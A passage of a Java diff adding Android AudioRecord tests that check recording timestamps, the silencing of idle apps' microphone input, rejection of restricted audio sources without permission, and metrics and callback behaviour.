+                    (int)((long)RECORD_TIME_MS * RECORD_SAMPLE_RATE / 1000);
+            final int targetSamples = targetFrames * numChannels;
+            final int BUFFER_FRAMES = 512;
+            final int BUFFER_SAMPLES = BUFFER_FRAMES * numChannels;
+
+            final int tries = 2;
+            for (int i = 0; i < tries; ++i) {
+                final long trackStartTimeNs = System.nanoTime();
+                final long trackStartTimeBootNs = android.os.SystemClock.elapsedRealtimeNanos();
+
+                record.startRecording();
+
+                final AudioTimestamp ts = new AudioTimestamp();
+                int samplesRead = 0;
+                // For 16 bit data, use shorts
+                final short[] shortData = new short[BUFFER_SAMPLES];
+                final AudioHelper.TimestampVerifier tsVerifier =
+                        new AudioHelper.TimestampVerifier(TAG, RECORD_SAMPLE_RATE,
+                                0 /* startFrames */, isProAudioDevice());
+
+                while (samplesRead < targetSamples) {
+                    final int amount = samplesRead == 0 ? numChannels :
+                            Math.min(BUFFER_SAMPLES, targetSamples - samplesRead);
+                    final int ret = record.read(shortData, 0, amount);
+                    assertEquals("read incorrect amount", amount, ret);
+                    // timestamps follow a different path than data, so it is conceivable
+                    // that first data arrives before the first timestamp is ready.
+
+                    if (record.getTimestamp(ts, AudioTimestamp.TIMEBASE_MONOTONIC)
+                            == AudioRecord.SUCCESS) {
+                        tsVerifier.add(ts);
+                    }
+                    samplesRead += ret;
+                }
+                record.stop();
+
+                // stop is synchronous, but need not be in the future.
+                final long SLEEP_AFTER_STOP_FOR_INACTIVITY_MS = 1000;
+                Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
+
+                AudioTimestamp stopTs = new AudioTimestamp();
+                AudioTimestamp stopTsBoot = new AudioTimestamp();
+
+                assertEquals(AudioRecord.SUCCESS,
+                        record.getTimestamp(stopTs, AudioTimestamp.TIMEBASE_MONOTONIC));
+                assertEquals(AudioRecord.SUCCESS,
+                        record.getTimestamp(stopTsBoot, AudioTimestamp.TIMEBASE_BOOTTIME));
+
+                // printTimestamp("timestamp Monotonic", ts);
+                // printTimestamp("timestamp Boottime", tsBoot);
+                // Log.d(TEST_NAME, "startTime Monotonic " + startTime);
+                // Log.d(TEST_NAME, "startTime Boottime " + startTimeBoot);
+
+                assertEquals(stopTs.framePosition, stopTsBoot.framePosition);
+                assertTrue(stopTs.framePosition >= targetFrames);
+                assertTrue(stopTs.nanoTime - trackStartTimeNs > RECORD_TIME_NS);
+                assertTrue(stopTsBoot.nanoTime - trackStartTimeBootNs > RECORD_TIME_NS);
+
+                tsVerifier.verifyAndLog(trackStartTimeNs, "test_timestamp" /* logName */);
+            }
+        } finally {
+            if (record != null) {
+                record.release();
+                record = null;
+            }
+        }
+    }
+
+    @Test
+    public void testRecordNoDataForIdleUids() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        AudioRecord recorder = null;
+        String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        int currentUserId = Process.myUserHandle().getIdentifier();
+
+        // We will record audio for 20 sec from active and idle state expecting
+        // the recording from active state to have data while from idle silence.
+        try {
+            // Ensure no race and UID active
+            makeMyUidStateActive(packageName, currentUserId);
+
+            // Setup a recorder
+            final AudioRecord candidateRecorder = new AudioRecord.Builder()
+                    .setAudioSource(MediaRecorder.AudioSource.MIC)
+                    .setBufferSizeInBytes(1024)
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setSampleRate(8000)
+                            .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
+                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                            .build())
+                    .build();
+
+            // Unleash it :P
+            candidateRecorder.startRecording();
+            recorder = candidateRecorder;
+
+            final int sampleCount = AudioHelper.frameCountFromMsec(6000,
+                    candidateRecorder.getFormat()) * candidateRecorder.getFormat()
+                    .getChannelCount();
+            final ShortBuffer buffer = ShortBuffer.allocate(sampleCount);
+
+            // Read five seconds of data
+            readDataTimed(recorder, 5000, buffer);
+            // Ensure we read non-empty bytes. Some systems only
+            // emulate audio devices and do not provide any actual audio data.
+            if (isAudioSilent(buffer)) {
+                Log.w(TAG, "Recording does not produce audio data");
+                return;
+            }
+
+            // Start clean
+            buffer.clear();
+            // Force idle the package
+            makeMyUidStateIdle(packageName, currentUserId);
+            // Read five seconds of data
+            readDataTimed(recorder, 5000, buffer);
+            // Ensure we read empty bytes
+            assertTrue("Recording was not silenced while UID idle", isAudioSilent(buffer));
+
+            // Start clean
+            buffer.clear();
+            // Reset to active
+            makeMyUidStateActive(packageName, currentUserId);
+            // Read five seconds of data
+            readDataTimed(recorder, 5000, buffer);
+            // Ensure we read non-empty bytes
+            assertFalse("Recording was silenced while UID active", isAudioSilent(buffer));
+        } finally {
+            if (recorder != null) {
+                recorder.stop();
+                recorder.release();
+            }
+            resetMyUidState(packageName, currentUserId);
+        }
+    }
+
+    @Test
+    public void testRestrictedAudioSourcePermissions() throws Exception {
+        // Make sure that the following audio sources cannot be used by apps that
+        // don't have the CAPTURE_AUDIO_OUTPUT permissions:
+        // - VOICE_CALL,
+        // - VOICE_DOWNLINK
+        // - VOICE_UPLINK
+        // - REMOTE_SUBMIX
+        // - ECHO_REFERENCE  - 1997
+        // - RADIO_TUNER - 1998
+        // - HOTWORD - 1999
+        // The attempt to build an AudioRecord with those sources should throw either
+        // UnsupportedOperationException or IllegalArgumentException exception.
+        final int[] restrictedAudioSources = new int [] {
+            MediaRecorder.AudioSource.VOICE_CALL,
+            MediaRecorder.AudioSource.VOICE_DOWNLINK,
+            MediaRecorder.AudioSource.VOICE_UPLINK,
+            MediaRecorder.AudioSource.REMOTE_SUBMIX,
+            1997,
+            1998,
+            1999
+        };
+
+        for (int source : restrictedAudioSources) {
+            // AudioRecord.Builder should fail when trying to use
+            // one of the voice call audio sources.
+            try {
+                AudioRecord ar = new AudioRecord.Builder()
+                 .setAudioSource(source)
+                 .setAudioFormat(new AudioFormat.Builder()
+                         .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                         .setSampleRate(8000)
+                         .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
+                         .build())
+                 .build();
+                fail("testRestrictedAudioSourcePermissions: no exception thrown for source: "
+                        + source);
+            } catch (Exception e) {
+                Log.i(TAG, "Exception: " + e);
+                if (!UnsupportedOperationException.class.isInstance(e)
+                        && !IllegalArgumentException.class.isInstance(e)) {
+                    fail("testRestrictedAudioSourcePermissions: no exception thrown for source: "
+                        + source + " Exception:" + e);
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testMediaMetrics() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        AudioRecord record = null;
+        try {
+            final int RECORD_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
+            final int RECORD_CHANNEL_MASK = AudioFormat.CHANNEL_IN_MONO;
+            final int RECORD_SAMPLE_RATE = 8000;
+            final AudioFormat format = new AudioFormat.Builder()
+                    .setSampleRate(RECORD_SAMPLE_RATE)
+                    .setChannelMask(RECORD_CHANNEL_MASK)
+                    .setEncoding(RECORD_ENCODING)
+                    .build();
+
+            // Setup a recorder
+            record = new AudioRecord.Builder()
+                .setAudioSource(MediaRecorder.AudioSource.MIC)
+                .setAudioFormat(format)
+                .build();
+
+            final PersistableBundle metrics = record.getMetrics();
+
+            assertNotNull("null metrics", metrics);
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.ENCODING,
+                    new String("AUDIO_FORMAT_PCM_16_BIT"));
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.SOURCE,
+                    new String("AUDIO_SOURCE_MIC"));
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.SAMPLERATE,
+                    new Integer(RECORD_SAMPLE_RATE));
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.CHANNELS,
+                    new Integer(AudioFormat.channelCountFromInChannelMask(RECORD_CHANNEL_MASK)));
+
+            // deprecated, value ignored.
+            AudioHelper.assertMetricsKey(metrics, AudioRecord.MetricsConstants.LATENCY);
+
+            // TestApi:
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.CHANNEL_MASK,
+                    new Long(RECORD_CHANNEL_MASK));
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.FRAME_COUNT,
+                    new Integer(record.getBufferSizeInFrames()));
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.DURATION_MS,
+                    new Double(0.));
+            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.START_COUNT,
+                    new Long(0));
+
+            // TestApi: no particular value checking.
+            AudioHelper.assertMetricsKey(metrics, AudioRecord.MetricsConstants.PORT_ID);
+            AudioHelper.assertMetricsKey(metrics, AudioRecord.MetricsConstants.ATTRIBUTES);
+        } finally {
+            if (record != null) {
+                record.release();
+            }
+        }
+    }
+
+    private void printMicrophoneInfo(MicrophoneInfo microphone) {
+        Log.i(TAG, "deviceId:" + microphone.getDescription());
+        Log.i(TAG, "portId:" + microphone.getId());
+        Log.i(TAG, "type:" + microphone.getType());
+        Log.i(TAG, "address:" + microphone.getAddress());
+        Log.i(TAG, "deviceLocation:" + microphone.getLocation());
+        Log.i(TAG, "deviceGroup:" + microphone.getGroup()
+            + " index:" + microphone.getIndexInTheGroup());
+        MicrophoneInfo.Coordinate3F position = microphone.getPosition();
+        Log.i(TAG, "position:" + position.x + "," + position.y + "," + position.z);
+        MicrophoneInfo.Coordinate3F orientation = microphone.getOrientation();
+        Log.i(TAG, "orientation:" + orientation.x + "," + orientation.y + "," + orientation.z);
+        Log.i(TAG, "frequencyResponse:" + microphone.getFrequencyResponse());
+        Log.i(TAG, "channelMapping:" + microphone.getChannelMapping());
+        Log.i(TAG, "sensitivity:" + microphone.getSensitivity());
+        Log.i(TAG, "max spl:" + microphone.getMaxSpl());
+        Log.i(TAG, "min spl:" + microphone.getMinSpl());
+        Log.i(TAG, "directionality:" + microphone.getDirectionality());
+        Log.i(TAG, "******");
+    }
+
+    @CddTest(requirement="5.4.1/C-1-4")
+    @Test
+    public void testGetActiveMicrophones() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        mAudioRecord.startRecording();
+        try {
+            Thread.sleep(1000);
+        } catch (InterruptedException e) {
+        }
+        List<MicrophoneInfo> activeMicrophones = mAudioRecord.getActiveMicrophones();
+        assertTrue(activeMicrophones.size() > 0);
+        for (MicrophoneInfo activeMicrophone : activeMicrophones) {
+            printMicrophoneInfo(activeMicrophone);
+        }
+    }
+
+    private Executor mExec = new Executor() {
+        @Override
+        public void execute(Runnable command) {
+            command.run();
+        }
+    };
+
+    @Test
+    public void testAudioRecordInfoCallback() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        AudioRecordingConfigurationTest.MyAudioRecordingCallback callback =
+                new AudioRecordingConfigurationTest.MyAudioRecordingCallback(
+                        mAudioRecord.getAudioSessionId(), MediaRecorder.AudioSource.DEFAULT);
+        mAudioRecord.registerAudioRecordingCallback(mExec, callback);
+        mAudioRecord.startRecording();
+        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
+
+        callback.await(TEST_TIMING_TOLERANCE_MS);
+        assertTrue(callback.mCalled);
+        assertTrue(callback.mConfigs.size() <= 1);
+        if (callback.mConfigs.size() == 1) {
+            checkRecordingConfig(callback.mConfigs.get(0));
+        }
+
+        Thread.sleep(RECORD_DURATION_MS);
+        mAudioRecord.unregisterAudioRecordingCallback(callback);
+    }
+
+    @Test
+    public void testGetActiveRecordingConfiguration() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        mAudioRecord.startRecording();
+        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
+
+        try {
+            Thread.sleep(RECORD_DURATION_MS);
+        } catch (InterruptedException e) {
+        }
+
+        AudioRecordingConfiguration config = mAudioRecord.getActiveRecordingConfiguration();
+        checkRecordingConfig(config);
+
+        mAudioRecord.release();
+        // test no exception is thrown when querying immediately after release()
+        // which is not a synchronous operation
+        config = mAudioRecord.getActiveRecordingConfiguration();
+        try {
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+        } catch (InterruptedException e) {
+        }
+        assertNull("Recording configuration not null after release",
+                mAudioRecord.getActiveRecordingConfiguration());
+    }
+
+    private static void checkRecordingConfig(AudioRecordingConfiguration config) {
+        assertNotNull(config);
+        AudioFormat format = config.getClientFormat();
+        assertEquals(AudioFormat.CHANNEL_IN_MONO, format.getChannelMask());
+        assertEquals(AudioFormat.ENCODING_PCM_16BIT, format.getEncoding());
+        assertEquals(SAMPLING_RATE_HZ, format.getSampleRate());
+        assertEquals(MediaRecorder.AudioSource.MIC, config.getAudioSource());
+        assertNotNull(config.getAudioDevice());
+        assertNotNull(config.getClientEffects());
+        assertNotNull(config.getEffects());
+        // no requirement here, just testing the API
+        config.isClientSilenced();
+    }
+
+    private AudioRecord createAudioRecord(
+            int audioSource, int sampleRateInHz,
+            int channelConfig, int audioFormat, int bufferSizeInBytes,
+            boolean auditRecording, boolean isChannelIndex) {
+        final AudioRecord record;
+        if (auditRecording) {
+            record = new AudioHelper.AudioRecordAudit(
+                    audioSource, sampleRateInHz, channelConfig,
+                    audioFormat, bufferSizeInBytes, isChannelIndex);
+        } else if (isChannelIndex) {
+            record = new AudioRecord.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setChannelIndexMask(channelConfig)
+                            .setEncoding(audioFormat)
+                            .setSampleRate(sampleRateInHz)
+                            .build())
+                    .setBufferSizeInBytes(bufferSizeInBytes)
+                    .build();
+        } else {
+            record = new AudioRecord(audioSource, sampleRateInHz, channelConfig,
+                    audioFormat, bufferSizeInBytes);
+        }
+
+        // did we get the AudioRecord we expected?
+        final AudioFormat format = record.getFormat();
+        assertEquals(isChannelIndex ? channelConfig : AudioFormat.CHANNEL_INVALID,
+                format.getChannelIndexMask());
+        assertEquals(isChannelIndex ? AudioFormat.CHANNEL_INVALID : channelConfig,
+                format.getChannelMask());
+        assertEquals(audioFormat, format.getEncoding());
+        assertEquals(sampleRateInHz, format.getSampleRate());
+        final int frameSize =
+                format.getChannelCount() * AudioFormat.getBytesPerSample(audioFormat);
+        // our native frame count cannot be smaller than our minimum buffer size request.
+        assertTrue(record.getBufferSizeInFrames() * frameSize >= bufferSizeInBytes);
+        return record;
+    }
+
+    private void doTest(String reportName, boolean localRecord, boolean customHandler,
+            int periodsPerSecond, int markerPeriodsPerSecond,
+            boolean useByteBuffer, boolean blocking,
+            final boolean auditRecording, final boolean isChannelIndex,
+            final int TEST_SR, final int TEST_CONF, final int TEST_FORMAT) throws Exception {
+        final int TEST_TIME_MS = auditRecording ? 60000 : 2000;
+        doTest(reportName, localRecord, customHandler, periodsPerSecond, markerPeriodsPerSecond,
+                useByteBuffer, blocking, auditRecording, isChannelIndex,
+                TEST_SR, TEST_CONF, TEST_FORMAT, TEST_TIME_MS);
+    }
+    private void doTest(String reportName, boolean localRecord, boolean customHandler,
+            int periodsPerSecond, int markerPeriodsPerSecond,
+            boolean useByteBuffer, boolean blocking,
+            final boolean auditRecording, final boolean isChannelIndex,
+            final int TEST_SR, final int TEST_CONF, final int TEST_FORMAT, final int TEST_TIME_MS)
+            throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        // audit recording plays back recorded audio, so use longer test timing
+        final int TEST_SOURCE = MediaRecorder.AudioSource.DEFAULT;
+        mIsHandleMessageCalled = false;
+
+        // For channelIndex use one frame in bytes for buffer size.
+        // This is adjusted to the minimum buffer size by native code.
+        final int bufferSizeInBytes = isChannelIndex ?
+                (AudioFormat.getBytesPerSample(TEST_FORMAT)
+                        * AudioFormat.channelCountFromInChannelMask(TEST_CONF)) :
+                AudioRecord.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        assertTrue(bufferSizeInBytes > 0);
+
+        final AudioRecord record;
+        final AudioHelper
+                .MakeSomethingAsynchronouslyAndLoop<AudioRecord> makeSomething;
+
+        if (localRecord) {
+            makeSomething = null;
+            record = createAudioRecord(TEST_SOURCE, TEST_SR, TEST_CONF,
+                    TEST_FORMAT, bufferSizeInBytes, auditRecording, isChannelIndex);
+        } else {
+            makeSomething =
+                    new AudioHelper.MakeSomethingAsynchronouslyAndLoop<AudioRecord>(
+                            new AudioHelper.MakesSomething<AudioRecord>() {
+                                @Override
+                                public AudioRecord makeSomething() {
+                                    return createAudioRecord(TEST_SOURCE, TEST_SR, TEST_CONF,
+                                            TEST_FORMAT, bufferSizeInBytes, auditRecording,
+                                            isChannelIndex);
+                                }
+                            }
+                            );
+           // create AudioRecord on different thread's looper.
+           record = makeSomething.make();
+        }
+
+        // AudioRecord creation may have silently failed, check state now
+        assertEquals(AudioRecord.STATE_INITIALIZED, record.getState());
+
+        final MockOnRecordPositionUpdateListener listener;
+        if (customHandler) {
+            listener = new MockOnRecordPositionUpdateListener(record, mHandler);
+        } else {
+            listener = new MockOnRecordPositionUpdateListener(record);
+        }
+
+        final int updatePeriodInFrames = (periodsPerSecond == 0)
+                ? 0 : TEST_SR / periodsPerSecond;
+        // After starting, there is no guarantee when the first frame of data is read.
+        long firstSampleTime = 0;
+
+        // blank final variables: all successful paths will initialize the times.
+        // this must be declared here for visibility as they are set within the try block.
+        final long endTime;
+        final long startTime;
+        final long stopRequestTime;
+        final long stopTime;
+        final long coldInputStartTime;
+
+        try {
+            if (markerPeriodsPerSecond != 0) {
+                mMarkerPeriodInFrames = TEST_SR / markerPeriodsPerSecond;
+                mMarkerPosition = mMarkerPeriodInFrames;
+                assertEquals(AudioRecord.SUCCESS,
+                        record.setNotificationMarkerPosition(mMarkerPosition));
+            } else {
+                mMarkerPeriodInFrames = 0;
+            }
+
+            assertEquals(AudioRecord.SUCCESS,
+                    record.setPositionNotificationPeriod(updatePeriodInFrames));
+
+            // at the start, there is no timestamp.
+            AudioTimestamp startTs = new AudioTimestamp();
+            assertEquals(AudioRecord.ERROR_INVALID_OPERATION,
+                    record.getTimestamp(startTs, AudioTimestamp.TIMEBASE_MONOTONIC));
+
+            listener.start(TEST_SR);
+            record.startRecording();
+            assertEquals(AudioRecord.RECORDSTATE_RECORDING, record.getRecordingState());
+            startTime = System.currentTimeMillis();
+
+            // For our tests, we could set test duration by timed sleep or by # frames received.
+            // Since we don't know *exactly* when AudioRecord actually begins recording,
+            // we end the test by # frames read.
+            final int numChannels =  AudioFormat.channelCountFromInChannelMask(TEST_CONF);
+            final int bytesPerSample = AudioFormat.getBytesPerSample(TEST_FORMAT);
+            final int bytesPerFrame = numChannels * bytesPerSample;
+            // careful about integer overflow in the formula below:
+            final int targetFrames = (int)((long)TEST_TIME_MS * TEST_SR / 1000);
+            final int targetSamples = targetFrames * numChannels;
+            final int BUFFER_FRAMES = 512;
+            final int BUFFER_SAMPLES = BUFFER_FRAMES * numChannels;
+            // TODO: verify behavior when buffer size is not a multiple of frame size.
+
+            int startTimeAtFrame = 0;
+            int samplesRead = 0;
+            if (useByteBuffer) {
+                ByteBuffer byteBuffer =
+                        ByteBuffer.allocateDirect(BUFFER_SAMPLES * bytesPerSample);
+                while (samplesRead < targetSamples) {
+                    // the first time through, we read a single frame.
+                    // this sets the recording anchor position.
+                    int amount = samplesRead == 0 ? numChannels :
+                        Math.min(BUFFER_SAMPLES, targetSamples - samplesRead);
+                    amount *= bytesPerSample;    // in bytes
+                    // read always places data at the start of the byte buffer with
+                    // position and limit are ignored.  test this by setting
+                    // position and limit to arbitrary values here.
+                    final int lastPosition = 7;
+                    final int lastLimit = 13;
+                    byteBuffer.position(lastPosition);
+                    byteBuffer.limit(lastLimit);
+                    int ret = blocking ? record.read(byteBuffer, amount) :
+                        record.read(byteBuffer, amount, AudioRecord.READ_NON_BLOCKING);
+                    // so long as amount requested in bytes is a multiple of the frame size
+                    // we expect the byte buffer request to be filled.  Caution: the
+                    // byte buffer data will be in native endian order, not Java order.
+                    if (blocking) {
+                        assertEquals(amount, ret);
+                    } else {
+                        assertTrue("0 <= " + ret + " <= " + amount,
+                                0 <= ret && ret <= amount);
+                    }
+                    // position, limit are not changed by read().
+                    assertEquals(lastPosition, byteBuffer.position());
+                    assertEquals(lastLimit, byteBuffer.limit());
+                    if (samplesRead == 0 && ret > 0) {
+                        firstSampleTime = System.currentTimeMillis();
+                    }
+                    samplesRead += ret / bytesPerSample;
+                    if (startTimeAtFrame == 0 && ret > 0 &&
+                            record.getTimestamp(startTs, AudioTimestamp.TIMEBASE_MONOTONIC) ==
+                            AudioRecord.SUCCESS) {
+                        startTimeAtFrame = samplesRead / numChannels;
+                    }
+                }
+            } else {
+                switch (TEST_FORMAT) {
+                case AudioFormat.ENCODING_PCM_8BIT: {
+                    // For 8 bit data, use bytes
+                    byte[] byteData = new byte[BUFFER_SAMPLES];
+                    while (samplesRead < targetSamples) {
+                        // the first time through, we read a single frame.
+                        // this sets the recording anchor position.
+                        int amount = samplesRead == 0 ? numChannels :
+                            Math.min(BUFFER_SAMPLES, targetSamples - samplesRead);
+                        int ret = blocking ? record.read(byteData, 0, amount) :
+                            record.read(byteData, 0, amount, AudioRecord.READ_NON_BLOCKING);
+                        if (blocking) {
+                            assertEquals(amount, ret);
+                        } else {
+                            assertTrue("0 <= " + ret + " <= " + amount,
+                                    0 <= ret && ret <= amount);
+                        }
+                        if (samplesRead == 0 && ret > 0) {
+                            firstSampleTime = System.currentTimeMillis();
+                        }
+                        samplesRead += ret;
+                        if (startTimeAtFrame == 0 && ret > 0 &&
+                                record.getTimestamp(startTs, AudioTimestamp.TIMEBASE_MONOTONIC) ==
+                                AudioRecord.SUCCESS) {
+                            startTimeAtFrame = samplesRead / numChannels;
+                        }
+                    }
+                } break;
+                case AudioFormat.ENCODING_PCM_16BIT: {
+                    // For 16 bit data, use shorts
+                    short[] shortData = new short[BUFFER_SAMPLES];
+                    while (samplesRead < targetSamples) {
+                        // the first time through, we read a single frame.
+                        // this sets the recording anchor position.
+                        int amount = samplesRead == 0 ? numChannels :
+                            Math.min(BUFFER_SAMPLES, targetSamples - samplesRead);
+                        int ret = blocking ? record.read(shortData, 0, amount) :
+                            record.read(shortData, 0, amount, AudioRecord.READ_NON_BLOCKING);
+                        if (blocking) {
+                            assertEquals(amount, ret);
+                        } else {
+                            assertTrue("0 <= " + ret + " <= " + amount,
+                                    0 <= ret && ret <= amount);
+                        }
+                        if (samplesRead == 0 && ret > 0) {
+                            firstSampleTime = System.currentTimeMillis();
+                        }
+                        samplesRead += ret;
+                        if (startTimeAtFrame == 0 && ret > 0 &&
+                                record.getTimestamp(startTs, AudioTimestamp.TIMEBASE_MONOTONIC) ==
+                                AudioRecord.SUCCESS) {
+                            startTimeAtFrame = samplesRead / numChannels;
+                        }
+                    }
+                } break;
+                case AudioFormat.ENCODING_PCM_FLOAT: {
+                    float[] floatData = new float[BUFFER_SAMPLES];
+                    while (samplesRead < targetSamples) {
+                        // the first time through, we read a single frame.
+                        // this sets the recording anchor position.
+                        int amount = samplesRead == 0 ? numChannels :
+                            Math.min(BUFFER_SAMPLES, targetSamples - samplesRead);
+                        int ret = record.read(floatData, 0, amount, blocking ?
+                                AudioRecord.READ_BLOCKING : AudioRecord.READ_NON_BLOCKING);
+                        if (blocking) {
+                            assertEquals(amount, ret);
+                        } else {
+                            assertTrue("0 <= " + ret + " <= " + amount,
+                                    0 <= ret && ret <= amount);
+                        }
+                        if (samplesRead == 0 && ret > 0) {
+                            firstSampleTime = System.currentTimeMillis();
+                        }
+                        samplesRead += ret;
+                        if (startTimeAtFrame == 0 && ret > 0 &&
+                                record.getTimestamp(startTs, AudioTimestamp.TIMEBASE_MONOTONIC) ==
+                                AudioRecord.SUCCESS) {
+                            startTimeAtFrame = samplesRead / numChannels;
+                        }
+                    }
+                } break;
+                }
+            }
+
+            // We've read all the frames, now check the record timing.
+            endTime = System.currentTimeMillis();
+
+            coldInputStartTime = firstSampleTime - startTime;
+            //Log.d(TAG, "first sample time " + coldInputStartTime
+            //        + " test time " + (endTime - firstSampleTime));
+
+            if (coldInputStartTime > 200) {
+                Log.w(TAG, "cold input start time way too long "
+                        + coldInputStartTime + " > 200ms");
+            } else if (coldInputStartTime > 100) {
+                Log.w(TAG, "cold input start time too long "
+                        + coldInputStartTime + " > 100ms");
+            }
+            assertTrue(coldInputStartTime < 5000); // must start within 5 seconds.
+
+            // Verify recording completes within 50 ms of expected test time (typical 20ms)
+            assertEquals(TEST_TIME_MS, endTime - firstSampleTime, auditRecording ?
+                (isLowLatencyDevice() ? 1000 : 2000) : (isLowLatencyDevice() ? 50 : 400));
+
+            // Even though we've read all the frames we want, the events may not be sent to
+            // the listeners (events are handled through a separate internal callback thread).
+            // One must sleep to make sure the last event(s) come in.
+            Thread.sleep(30);
+
+            stopRequestTime = System.currentTimeMillis();
+            record.stop();
+            assertEquals(AudioRecord.RECORDSTATE_STOPPED, record.getRecordingState());
+
+            stopTime = System.currentTimeMillis();
+
+            // stop listening - we should be done.
+            // Caution M behavior and likely much earlier:
+            // we assume no events can happen after stop(), but this may not
+            // always be true as stop can take 100ms to complete (as it may disable
+            // input recording on the hal); thus the event handler may be block with
+            // valid events, issuing right after stop completes. Except for those events,
+            // no other events should show up after stop.
+            // This behavior may change in the future but we account for it here in testing.
+            final long SLEEP_AFTER_STOP_FOR_EVENTS_MS = 30;
+            Thread.sleep(SLEEP_AFTER_STOP_FOR_EVENTS_MS);
+            listener.stop();
+
+            // get stop timestamp
+            AudioTimestamp stopTs = new AudioTimestamp();
+            assertEquals(AudioRecord.SUCCESS,
+                    record.getTimestamp(stopTs, AudioTimestamp.TIMEBASE_MONOTONIC));
+            AudioTimestamp stopTsBoot = new AudioTimestamp();
+            assertEquals(AudioRecord.SUCCESS,
+                    record.getTimestamp(stopTsBoot, AudioTimestamp.TIMEBASE_BOOTTIME));
+
+            // printTimestamp("startTs", startTs);
+            // printTimestamp("stopTs", stopTs);
+            // printTimestamp("stopTsBoot", stopTsBoot);
+            // Log.d(TAG, "time Monotonic " + System.nanoTime());
+            // Log.d(TAG, "time Boottime " + SystemClock.elapsedRealtimeNanos());
+
+            // stop should not reset timestamps
+            assertTrue(stopTs.framePosition >= targetFrames);
+            assertEquals(stopTs.framePosition, stopTsBoot.framePosition);
+            assertTrue(stopTs.nanoTime > 0);
+
+            // timestamps follow a different path than data, so it is conceivable
+            // that first data arrives before the first timestamp is ready.
+            assertTrue(startTimeAtFrame > 0); // we read a start timestamp
+
+            verifyContinuousTimestamps(startTs, stopTs, TEST_SR);
+
+            // clean up
+            if (makeSomething != null) {
+                makeSomething.join();
+            }
+
+        } finally {
+            listener.release();
+            // we must release the record immediately as it is a system-wide
+            // resource needed for other tests.
+            record.release();
+        }
+        if (auditRecording) { // don't check timing if auditing (messes up timing)
+            return;
+        }
+        final int markerPeriods = markerPeriodsPerSecond * TEST_TIME_MS / 1000;
+        final int updatePeriods = periodsPerSecond * TEST_TIME_MS / 1000;
+        final int markerPeriodsMax =
+                markerPeriodsPerSecond * (int)(stopTime - firstSampleTime) / 1000 + 1;
+        final int updatePeriodsMax =
+                periodsPerSecond * (int)(stopTime - firstSampleTime) / 1000 + 1;
+
+        // collect statistics
+        final ArrayList<Integer> markerList = listener.getMarkerList();
+        final ArrayList<Integer> periodicList = listener.getPeriodicList();
+        // verify count of markers and periodic notifications.
+        // there could be an extra notification since we don't stop() immediately
+        // rather wait for potential events to come in.
+        //Log.d(TAG, "markerPeriods " + markerPeriods +
+        //        " markerPeriodsReceived " + markerList.size());
+        //Log.d(TAG, "updatePeriods " + updatePeriods +
+        //        " updatePeriodsReceived " + periodicList.size());
+        if (isLowLatencyDevice()) {
+            assertTrue(TAG + ": markerPeriods " + markerPeriods +
+                    " <= markerPeriodsReceived " + markerList.size() +
+                    " <= markerPeriodsMax " + markerPeriodsMax,
+                    markerPeriods <= markerList.size()
+                    && markerList.size() <= markerPeriodsMax);
+            assertTrue(TAG + ": updatePeriods " + updatePeriods +
+                   " <= updatePeriodsReceived " + periodicList.size() +
+                   " <= updatePeriodsMax " + updatePeriodsMax,
+                    updatePeriods <= periodicList.size()
+                    && periodicList.size() <= updatePeriodsMax);
+        }
+
+        // Since we don't have accurate positioning of the start time of the recorder,
+        // and there is no record.getPosition(), we consider only differential timing
+        // from the first marker or periodic event.
+        final int toleranceInFrames = TEST_SR * 80 / 1000; // 80 ms
+        final int testTimeInFrames = (int)((long)TEST_TIME_MS * TEST_SR / 1000);
+
+        AudioHelper.Statistics markerStat = new AudioHelper.Statistics();
+        for (int i = 1; i < markerList.size(); ++i) {
+            final int expected = mMarkerPeriodInFrames * i;
+            if (markerList.get(i) > testTimeInFrames) {
+                break; // don't consider any notifications when we might be stopping.
+            }
+            final int actual = markerList.get(i) - markerList.get(0);
+            //Log.d(TAG, "Marker: " + i + " expected(" + expected + ")  actual(" + actual
+            //        + ")  diff(" + (actual - expected) + ")"
+            //        + " tolerance " + toleranceInFrames);
+            if (isLowLatencyDevice()) {
+                assertEquals(expected, actual, toleranceInFrames);
+            }
+            markerStat.add((double)(actual - expected) * 1000 / TEST_SR);
+        }
+
+        AudioHelper.Statistics periodicStat = new AudioHelper.Statistics();
+        for (int i = 1; i < periodicList.size(); ++i) {
+            final int expected = updatePeriodInFrames * i;
+            if (periodicList.get(i) > testTimeInFrames) {
+                break; // don't consider any notifications when we might be stopping.
+            }
+            final int actual = periodicList.get(i) - periodicList.get(0);
+            //Log.d(TAG, "Update: " + i + " expected(" + expected + ")  actual(" + actual
+            //        + ")  diff(" + (actual - expected) + ")"
+            //        + " tolerance " + toleranceInFrames);
+            if (isLowLatencyDevice()) {
+                assertEquals(expected, actual, toleranceInFrames);
+            }
